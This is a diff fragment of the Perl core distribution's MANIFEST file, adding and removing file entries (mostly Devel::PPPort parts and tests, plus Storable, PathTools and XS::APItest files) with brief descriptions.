+dist/Devel-PPPort/parts/base/5018001	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5018002	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5018003	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5018004	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5019000	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5019001	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5019002	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5019003	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5019004	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5019005	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5019006	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5019007	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5019008	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5019009	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5019010	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5019011	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5020000	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5020001	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5020002	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5020003	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5021000	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5021001	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5021002	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5021004	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5021005	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5021006	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5021007	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5021008	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5021009	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5021010	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5021011	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5022000	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5022001	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5023000	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5023001	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5023002	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5023003	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5023004	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5023005	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5023006	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5023007	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5023008	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5023009	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5024000	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/embed.fnc	Devel::PPPort Perl API listing
+dist/Devel-PPPort/parts/inc/call	Devel::PPPort include
+dist/Devel-PPPort/parts/inc/cop		Devel::PPPort include
+dist/Devel-PPPort/parts/inc/exception	Devel::PPPort include
+dist/Devel-PPPort/parts/inc/format	Devel::PPPort include
+dist/Devel-PPPort/parts/inc/grok	Devel::PPPort include
+dist/Devel-PPPort/parts/inc/gv		Devel::PPPort include
+dist/Devel-PPPort/parts/inc/HvNAME	Devel::PPPort include
+dist/Devel-PPPort/parts/inc/limits	Devel::PPPort include
+dist/Devel-PPPort/parts/inc/magic	Devel::PPPort include
+dist/Devel-PPPort/parts/inc/memory	Devel::PPPort include
+dist/Devel-PPPort/parts/inc/mess	Devel::PPPort include
+dist/Devel-PPPort/parts/inc/misc	Devel::PPPort include
+dist/Devel-PPPort/parts/inc/mPUSH	Devel::PPPort include
+dist/Devel-PPPort/parts/inc/MY_CXT	Devel::PPPort include
+dist/Devel-PPPort/parts/inc/newCONSTSUB	Devel::PPPort include
+dist/Devel-PPPort/parts/inc/newRV	Devel::PPPort include
+dist/Devel-PPPort/parts/inc/newSV_type	Devel::PPPort include
+dist/Devel-PPPort/parts/inc/newSVpv	Devel::PPPort include
+dist/Devel-PPPort/parts/inc/podtest	Devel::PPPort include
+dist/Devel-PPPort/parts/inc/ppphbin	Devel::PPPort include
+dist/Devel-PPPort/parts/inc/ppphdoc	Devel::PPPort include
+dist/Devel-PPPort/parts/inc/ppphtest	Devel::PPPort include
+dist/Devel-PPPort/parts/inc/pv_tools	Devel::PPPort include
+dist/Devel-PPPort/parts/inc/pvs		Devel::PPPort include
+dist/Devel-PPPort/parts/inc/shared_pv	Devel::PPPort include
+dist/Devel-PPPort/parts/inc/snprintf	Devel::PPPort include
+dist/Devel-PPPort/parts/inc/sprintf	Devel::PPPort include
+dist/Devel-PPPort/parts/inc/strlfuncs	Devel::PPPort include
+dist/Devel-PPPort/parts/inc/Sv_set	Devel::PPPort include
+dist/Devel-PPPort/parts/inc/sv_xpvf	Devel::PPPort include
+dist/Devel-PPPort/parts/inc/SvPV	Devel::PPPort include
+dist/Devel-PPPort/parts/inc/SvREFCNT	Devel::PPPort include
+dist/Devel-PPPort/parts/inc/threads	Devel::PPPort include
+dist/Devel-PPPort/parts/inc/uv		Devel::PPPort include
+dist/Devel-PPPort/parts/inc/variables	Devel::PPPort include
+dist/Devel-PPPort/parts/inc/version	Devel::PPPort include
+dist/Devel-PPPort/parts/inc/warn	Devel::PPPort include
+dist/Devel-PPPort/parts/ppport.fnc	Devel::PPPort API listing
+dist/Devel-PPPort/parts/ppptools.pl	Devel::PPPort various utilities
+dist/Devel-PPPort/parts/todo/5003070	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5004000	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5004010	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5004020	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5004030	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5004040	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5004050	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5005000	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5005010	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5005020	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5005030	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5005040	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5006000	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5006001	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5006002	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5007000	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5007001	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5007002	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5007003	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5008000	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5008001	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5008002	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5008003	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5008004	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5008005	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5008006	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5008007	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5008008	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5008009	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5009000	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5009001	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5009002	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5009003	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5009004	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5009005	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5010000	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5010001	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5011000	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5011001	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5011002	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5011003	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5011004	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5011005	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5012000	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5012001	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5012002	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5012003	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5012004	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5012005	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5013000	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5013001	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5013002	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5013003	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5013004	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5013005	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5013006	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5013007	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5013008	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5013009	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5013010	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5013011	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5014000	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5014001	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5014002	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5014003	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5014004	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5015000	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5015001	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5015002	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5015003	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5015004	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5015005	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5015006	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5015007	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5015008	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5015009	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5016000	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5016001	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5016002	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5016003	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5017000	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5017001	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5017002	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5017003	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5017004	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5017005	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5017006	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5017007	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5017008	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5017009	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5017010	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5017011	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5018000	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5018001	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5018002	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5018003	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5018004	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5019000	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5019001	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5019002	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5019003	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5019004	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5019005	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5019006	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5019007	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5019008	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5019009	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5019010	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5019011	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5020000	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5020001	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5020002	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5020003	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5021000	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5021001	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5021002	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5021004	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5021005	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5021006	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5021007	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5021008	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5021009	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5021010	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5021011	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5022000	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5022001	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5023000	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5023001	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5023002	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5023003	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5023004	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5023005	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5023006	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5023007	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5023008	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5023009	Devel::PPPort todo file
+dist/Devel-PPPort/parts/todo/5024000	Devel::PPPort todo file
+dist/Devel-PPPort/PPPort.xs		Devel::PPPort dummy PPPort.xs
+dist/Devel-PPPort/ppport_h.PL		Devel::PPPort ppport.h writer
+dist/Devel-PPPort/PPPort_pm.PL		Devel::PPPort PPPort.pm writer
+dist/Devel-PPPort/PPPort_xs.PL		Devel::PPPort RealPPPort.xs writer
+dist/Devel-PPPort/soak			Devel::PPPort Test Harness to run under various Perls
+dist/Devel-PPPort/t/call.t		Devel::PPPort test file
+dist/Devel-PPPort/t/cop.t		Devel::PPPort test file
+dist/Devel-PPPort/t/exception.t		Devel::PPPort test file
+dist/Devel-PPPort/t/format.t		Devel::PPPort test file
+dist/Devel-PPPort/t/grok.t		Devel::PPPort test file
+dist/Devel-PPPort/t/gv.t		Devel::PPPort test file
+dist/Devel-PPPort/t/HvNAME.t		Devel::PPPort test file
+dist/Devel-PPPort/t/limits.t		Devel::PPPort test file
+dist/Devel-PPPort/t/magic.t		Devel::PPPort test file
+dist/Devel-PPPort/t/memory.t		Devel::PPPort test file
+dist/Devel-PPPort/t/mess.t		Devel::PPPort test file
+dist/Devel-PPPort/t/misc.t		Devel::PPPort test file
+dist/Devel-PPPort/t/mPUSH.t		Devel::PPPort test file
+dist/Devel-PPPort/t/MY_CXT.t		Devel::PPPort test file
+dist/Devel-PPPort/t/newCONSTSUB.t	Devel::PPPort test file
+dist/Devel-PPPort/t/newRV.t		Devel::PPPort test file
+dist/Devel-PPPort/t/newSV_type.t	Devel::PPPort test file
+dist/Devel-PPPort/t/newSVpv.t		Devel::PPPort test file
+dist/Devel-PPPort/t/podtest.t		Devel::PPPort test file
+dist/Devel-PPPort/t/ppphtest.t		Devel::PPPort test file
+dist/Devel-PPPort/t/pv_tools.t		Devel::PPPort test file
+dist/Devel-PPPort/t/pvs.t		Devel::PPPort test file
+dist/Devel-PPPort/t/shared_pv.t		Devel::PPPort test file
+dist/Devel-PPPort/t/snprintf.t		Devel::PPPort test file
+dist/Devel-PPPort/t/sprintf.t		Devel::PPPort test file
+dist/Devel-PPPort/t/strlfuncs.t		Devel::PPPort test file
+dist/Devel-PPPort/t/Sv_set.t		Devel::PPPort test file
+dist/Devel-PPPort/t/sv_xpvf.t		Devel::PPPort test file
+dist/Devel-PPPort/t/SvPV.t		Devel::PPPort test file
+dist/Devel-PPPort/t/SvREFCNT.t		Devel::PPPort test file
+dist/Devel-PPPort/t/testutil.pl		Devel::PPPort test utilities
+dist/Devel-PPPort/t/threads.t		Devel::PPPort test file
+dist/Devel-PPPort/t/uv.t		Devel::PPPort test file
+dist/Devel-PPPort/t/variables.t		Devel::PPPort test file
+dist/Devel-PPPort/t/warn.t		Devel::PPPort test file
+dist/Devel-PPPort/typemap		Devel::PPPort Typemap
 dist/Devel-SelfStubber/lib/Devel/SelfStubber.pm	Generate stubs for SelfLoader.pm
 dist/Devel-SelfStubber/t/Devel-SelfStubber.t	See if Devel::SelfStubber works
 dist/Dumpvalue/lib/Dumpvalue.pm	Screen dump of perl values
@@ -3428,6 +3533,9 @@
 dist/I18N-LangTags/t/80_all_env.t		See whether I18N::LangTags works
 dist/if/Changes			if perl module change log
 dist/if/if.pm			For "use if"
+dist/if/MANIFEST		MANIFEST for if.pm
+dist/if/META.json		META.json for if.pm
+dist/if/META.yml		META.json for if.pm
 dist/if/t/if.t			Tests for "use if"
 dist/IO/ChangeLog		IO perl module change log
 dist/IO/hints/sco.pl		Hint for IO for named architecture
@@ -3500,7 +3608,6 @@
 dist/Module-CoreList/identify-dependencies	A usage example for Module::CoreList
 dist/Module-CoreList/lib/Module/CoreList.pm	Module::CoreList
 dist/Module-CoreList/lib/Module/CoreList.pod	Module::CoreList
-dist/Module-CoreList/lib/Module/CoreList/TieHashDelta.pm	Module::CoreList guts
 dist/Module-CoreList/lib/Module/CoreList/Utils.pm	Module::CoreList guts
 dist/Module-CoreList/Makefile.PL		Module::CoreList
 dist/Module-CoreList/MANIFEST			Module::CoreList
@@ -3509,6 +3616,7 @@
 dist/Module-CoreList/t/deprecated.t		Module::CoreList tests
 dist/Module-CoreList/t/find_modules.t		Module::CoreList tests
 dist/Module-CoreList/t/is_core.t		Module::CoreList tests
+dist/Module-CoreList/t/maintainer.t			Module::CoreList tests
 dist/Module-CoreList/t/pod.t			Module::CoreList tests
 dist/Module-CoreList/t/utils.t			Module::CoreList tests
 dist/Net-Ping/Changes			Net::Ping
@@ -3545,9 +3653,13 @@
 dist/PathTools/lib/File/Spec/VMS.pm		portable operations on VMS file names
 dist/PathTools/lib/File/Spec/Win32.pm		portable operations on Win32 and NetWare file names
 dist/PathTools/Makefile.PL			makefile writer for Cwd
+dist/PathTools/MANIFEST		MANIFEST for PathTools
+dist/PathTools/META.json		META.json for PathTools
+dist/PathTools/META.yml		META.yml for PathTools
 dist/PathTools/t/abs2rel.t		See if File::Spec->abs2rel works
 dist/PathTools/t/crossplatform.t		See if File::Spec works crossplatform
 dist/PathTools/t/cwd.t			See if Cwd works
+dist/PathTools/t/cwd_enoent.t			See if getcwd errors correctly
 dist/PathTools/t/Functions.t			See if File::Spec::Functions works
 dist/PathTools/t/rel2abs2rel.t		See if File::Spec->rel2abs/abs2rel works
 dist/PathTools/t/Spec.t			See if File::Spec works
@@ -3583,6 +3695,7 @@
 dist/SelfLoader/t/01SelfLoader.t	See if SelfLoader works
 dist/SelfLoader/t/02SelfLoader-buggy.t	See if SelfLoader works
 dist/SelfLoader/t/03taint.t		See if SelfLoader works under taint
+dist/Storable/__Storable__.pm	Template to generate Storable.pm
 dist/Storable/ChangeLog			Storable extension
 dist/Storable/hints/gnukfreebsd.pl	Hint for Storable for named architecture
 dist/Storable/hints/gnuknetbsd.pl	Hint for Storable for named architecture
@@ -3590,8 +3703,9 @@
 dist/Storable/hints/linux.pl		Hint for Storable for named architecture
 dist/Storable/Makefile.PL		Storable extension
 dist/Storable/README			Storable extension
-dist/Storable/Storable.pm		Storable extension
+dist/Storable/stacksize			compute stack sizes
 dist/Storable/Storable.xs		Storable extension
+dist/Storable/Storable.pm.PL	perl script to generate Storable.pm from template
 dist/Storable/t/attach.t		Check STORABLE_attach doesn't create objects unnecessarily
 dist/Storable/t/attach_errors.t		Trigger and test STORABLE_attach errors
 dist/Storable/t/attach_singleton.t	Test STORABLE_attach for the Singleton pattern
@@ -3602,15 +3716,20 @@
 dist/Storable/t/compat01.t		See if Storable works
 dist/Storable/t/compat06.t		See if Storable works
 dist/Storable/t/croak.t			See if Storable works
+dist/Storable/t/CVE-2015-1592.inc	See if Storable works
+dist/Storable/t/CVE-2015-1592.t		See if Storable works
 dist/Storable/t/dclone.t		See if Storable works
 dist/Storable/t/destroy.t		Test Storable in global destructon
 dist/Storable/t/downgrade.t		See if Storable works
 dist/Storable/t/file_magic.t		See if file_magic function works
+dist/Storable/t/flags.t			See if Storable works
 dist/Storable/t/forgive.t		See if Storable works
 dist/Storable/t/freeze.t		See if Storable works
 dist/Storable/t/HAS_ATTACH.pm		For auto-requiring of modules for STORABLE_attach
 dist/Storable/t/HAS_HOOK.pm		For auto-requiring of modules for STORABLE_thaw
 dist/Storable/t/HAS_OVERLOAD.pm		For auto-requiring of mdoules for overload
+dist/Storable/t/huge.t			See how Storable handles huge data
+dist/Storable/t/hugeids.t		See how Storable handles huge object ids
 dist/Storable/t/integer.t		See if Storable works
 dist/Storable/t/interwork56.t		Test compatibility kludge for 64bit data under 5.6.x
 dist/Storable/t/just_plain_nasty.t	See if Storable works
@@ -3622,6 +3741,7 @@
 dist/Storable/t/malice.t		See if Storable copes with corrupt files
 dist/Storable/t/overload.t		See if Storable works
 dist/Storable/t/recurse.t		See if Storable works
+dist/Storable/t/regexp.t		See if Storable works with regexps
 dist/Storable/t/restrict.t		See if Storable works
 dist/Storable/t/retrieve.t		See if Storable works
 dist/Storable/t/robust.t		See if it survives mangled %INC
@@ -3633,6 +3753,7 @@
 dist/Storable/t/tied.t			See if Storable works
 dist/Storable/t/tied_hook.t		See if Storable works
 dist/Storable/t/tied_items.t		See if Storable works
+dist/Storable/t/tied_reify.t		See if Storable works
 dist/Storable/t/tied_store.t		See if Storable works
 dist/Storable/t/utf8.t			See if Storable works
 dist/Storable/t/utf8hash.t		See if Storable works
@@ -3643,6 +3764,7 @@
 dist/Term-ReadLine/t/AE.t			See if Term::ReadLine works
 dist/Term-ReadLine/t/AETk.t			See if Term::ReadLine works
 dist/Term-ReadLine/t/ReadLine.t			See if Term::ReadLine works
+dist/Term-ReadLine/t/ReadLine-STDERR.t		See if Term::ReadLine works
 dist/Term-ReadLine/t/Tk.t			See if Term::ReadLine works
 dist/Test/lib/Test.pm		A simple framework for writing test scripts
 dist/Test/t/05_about_verbose.t	See if Test works
@@ -3701,6 +3823,7 @@
 dist/threads/t/stress_re.t	Test with multiple threads, string cv argument and regexes.
 dist/threads/t/stress_string.t	Test with multiple threads, string cv argument.
 dist/threads/t/thread.t		General ithread tests from thr5005
+dist/threads/t/unique.t			Test unique attribute with threads
 dist/threads/threads.xs		ithreads
 dist/threads-shared/hints/linux.pl	thread shared variables
 dist/threads-shared/lib/threads/shared.pm	thread shared variables
@@ -3792,6 +3915,7 @@
 dist/Time-HiRes/t/utime.t		Test for Time::HiRes
 dist/Time-HiRes/t/Watchdog.pm		Test for Time::HiRes
 dist/Time-HiRes/typemap			Time::HiRes extension
+dist/Unicode-Normalize/Changes		Unicode::Normalize
 dist/Unicode-Normalize/Makefile.PL	Unicode::Normalize
 dist/Unicode-Normalize/mkheader		Unicode::Normalize
 dist/Unicode-Normalize/Normalize.pm	Unicode::Normalize
@@ -3888,6 +4012,7 @@
 ext/B/t/OptreeCheck.pm		optree comparison tool
 ext/B/t/pragma.t	See if user pragmas work.
 ext/B/t/showlex.t	See if B::ShowLex works
+ext/B/t/strict.t	See if B works with strict and warnings.
 ext/B/t/sv_stash.t	See if SvSTASH() works
 ext/B/t/terse.t		See if B::Terse works
 ext/B/t/walkoptree.t	See if B::walkoptree (and friends) work
@@ -3948,6 +4073,7 @@
 ext/File-Glob/t/case.t		See if File::Glob works
 ext/File-Glob/t/global.t	See if File::Glob works
 ext/File-Glob/t/rt114984.t	See if File::Glob works
+ext/File-Glob/t/rt131211.t	See if File::Glob works
 ext/File-Glob/t/taint.t		See if File::Glob works
 ext/File-Glob/t/threads.t	See if File::Glob + threads works
 ext/File-Glob/TODO		File::Glob extension todo list
@@ -4045,6 +4171,7 @@
 ext/PerlIO-scalar/t/scalar.t	See if PerlIO::scalar works
 ext/PerlIO-scalar/t/scalar_ungetc.t	Tests for PerlIO layer for scalars
 ext/PerlIO-via/hints/aix.pl	Hint for PerlIO::via for named architecture
+ext/PerlIO-via/t/thread.t		See if PerlIO::via works with threads
 ext/PerlIO-via/t/via.t		See if PerlIO::via works
 ext/PerlIO-via/via.pm		PerlIO layer for layers in perl
 ext/PerlIO-via/via.xs		PerlIO layer for layers in perl
@@ -4136,7 +4263,6 @@
 ext/re/t/strict.t		see if re 'strict' subpragma works
 ext/SDBM_File/biblio	SDBM kit
 ext/SDBM_File/CHANGES	SDBM kit
-ext/SDBM_File/COMPARE	SDBM kit
 ext/SDBM_File/dba.c	SDBM kit
 ext/SDBM_File/dbd.c	SDBM kit
 ext/SDBM_File/dbe.1	SDBM kit
@@ -4144,9 +4270,7 @@
 ext/SDBM_File/dbu.c	SDBM kit
 ext/SDBM_File/grind	SDBM kit
 ext/SDBM_File/hash.c	SDBM kit
-ext/SDBM_File/linux.patches	SDBM kit
 ext/SDBM_File/Makefile.PL	SDBM extension makefile writer
-ext/SDBM_File/makefile.sdbm	SDBM kit
 ext/SDBM_File/pair.c	SDBM kit
 ext/SDBM_File/pair.h	SDBM kit
 ext/SDBM_File/README	SDBM kit
@@ -4222,6 +4346,7 @@
 ext/XS-APItest/t/exception.t	XS::APItest extension
 ext/XS-APItest/t/extend.t	test EXTEND() macro
 ext/XS-APItest/t/fetch_pad_names.t	Tests for UTF8 names in pad
+ext/XS-APItest/t/get.t		test get_sv et al.
 ext/XS-APItest/t/gotosub.t	XS::APItest: tests goto &xsub and hints
 ext/XS-APItest/t/grok.t		XS::APItest: tests for grok* functions
 ext/XS-APItest/t/gv_autoload4.t	XS::APItest: tests for gv_autoload4() and variants
@@ -4230,21 +4355,22 @@
 ext/XS-APItest/t/gv_fetchmeth_autoload.t	XS::APItest: tests for gv_fetchmeth_autoload() and variants
 ext/XS-APItest/t/gv_fetchmethod_flags.t	XS::APItest: tests for gv_fetchmethod_flags() and variants
 ext/XS-APItest/t/gv_init.t	XS::APItest: tests for gv_init and variants
-ext/XS-APItest/t/handy0.t	XS::APItest: tests for handy.h
-ext/XS-APItest/t/handy1.t	XS::APItest: tests for handy.h
-ext/XS-APItest/t/handy2.t	XS::APItest: tests for handy.h
-ext/XS-APItest/t/handy3.t	XS::APItest: tests for handy.h
-ext/XS-APItest/t/handy4.t	XS::APItest: tests for handy.h
-ext/XS-APItest/t/handy5.t	XS::APItest: tests for handy.h
-ext/XS-APItest/t/handy6.t	XS::APItest: tests for handy.h
-ext/XS-APItest/t/handy7.t	XS::APItest: tests for handy.h
-ext/XS-APItest/t/handy8.t	XS::APItest: tests for handy.h
-ext/XS-APItest/t/handy9.t	XS::APItest: tests for handy.h
+ext/XS-APItest/t/handy00.t	XS::APItest: tests for handy.h
+ext/XS-APItest/t/handy01.t	XS::APItest: tests for handy.h
+ext/XS-APItest/t/handy02.t	XS::APItest: tests for handy.h
+ext/XS-APItest/t/handy03.t	XS::APItest: tests for handy.h
+ext/XS-APItest/t/handy04.t	XS::APItest: tests for handy.h
+ext/XS-APItest/t/handy05.t	XS::APItest: tests for handy.h
+ext/XS-APItest/t/handy06.t	XS::APItest: tests for handy.h
+ext/XS-APItest/t/handy07.t	XS::APItest: tests for handy.h
+ext/XS-APItest/t/handy08.t	XS::APItest: tests for handy.h
+ext/XS-APItest/t/handy09.t	XS::APItest: tests for handy.h
 ext/XS-APItest/t/handy_base.pl	XS::APItest: tests for handy.h
 ext/XS-APItest/t/hash.t		XS::APItest: tests for hash related APIs
 ext/XS-APItest/t/join_with_space.t	test op_convert_list
 ext/XS-APItest/t/keyword_multiline.t	test keyword plugin parsing across lines
 ext/XS-APItest/t/keyword_plugin.t	test keyword plugin mechanism
+ext/XS-APItest/t/keyword_plugin_threads.t	test keyword plugin loading from multiple threads
